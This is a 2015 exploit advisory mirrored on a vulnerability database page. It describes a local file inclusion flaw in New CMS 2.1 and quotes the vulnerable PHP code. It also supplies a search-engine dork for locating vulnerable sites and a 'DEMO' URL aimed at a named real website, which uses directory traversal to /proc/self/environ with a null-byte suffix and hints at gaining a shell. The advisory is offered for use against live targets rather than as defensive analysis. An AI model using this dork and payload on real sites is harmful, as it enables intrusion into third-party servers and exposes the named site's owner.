Lucene search
K

New CMS 2.1 Local File Inclusion

🗓️ 28 Jan 2015 00:00:00Reported by R3VAN_BASTARDType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

New CMS 2.1 Local File Inclusion Vulnerabilit

Code
`===============================================  
  
[+] TITLE : NEW CMS Local File Inclusion Vulnerability (/proc/self/environ)   
[+] VENDOR : http://new-cms.org/index.php?lng=it&mod=download&pg=indice  
[+] VERSION : 2.1 or Later  
[+] AUTHOR : R3vanBastard  
[+] TESTED ON : Windows  
[+] DORK : "New CMS" inurl:index.php?lng=  
[+] YM : revan_blezinsky[at]yahoo.com  
  
==================[+]VULN[+]===================  
if (get_magic_quotes_gpc()) {  
$process = array(&$_GET, &$_POST, &$_COOKIE, &$_REQUEST);  
while (list($key, $val) = each($process)) {  
foreach ($val as $k => $v) {  
unset($process[$key][$k]);  
if (is_array($v)) {  
$process[$key][stripslashes($k)] = $v;  
$process[] = &$process[$key][stripslashes($k)];  
} else {  
$process[$key][stripslashes($k)] = stripslashes($v);  
}  
}  
}  
unset($process);  
}  
  
define("PER", "");  
include(PER."cdat.php");  
include(PER."struttura/funzioni.str"); //inclusione file con le funzioni e costanti principali  
include(CGEN."config".DTB); // inclusione file di configurazione  
  
if(strlen(dirname($_SERVER["SCRIPT_NAME"]))>1) { $DirName = dirname($_SERVER["SCRIPT_NAME"])."/"; } else { $DirName = "/"; }  
$sito[2] = "http://".$_SERVER["SERVER_NAME"].$DirName;  
$CMSVersion = "New-CMS 2.1";  
  
if(isset($_GET['mod'])) $_GET['mod'] = Prot($_GET['mod']);  
if(isset($_GET['pg'])) $_GET['pg'] = Prot($_GET['pg']);  
if(isset($_GET['s'])) $_GET['s'] = Prot($_GET['s']);  
if(isset($_GET['lng'])) {   
if(strlen($_GET['lng'])>2) unset($_GET['lng']);  
}  
============================================================  
  
[DEMO] http://www.salvatorecotena.it/index.php?lng=../../../../../../../../../../../../../proc/self/environ%0000 [shell? ]  
  
===================================================================  
  
Thanks to: My PC | Jogjamakeup.com | Mainhack |VOP CREW| Jack | rdnc.or.id |   
BoBy a.k.a c0li(yg botnya di gangbang)  
  
===================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation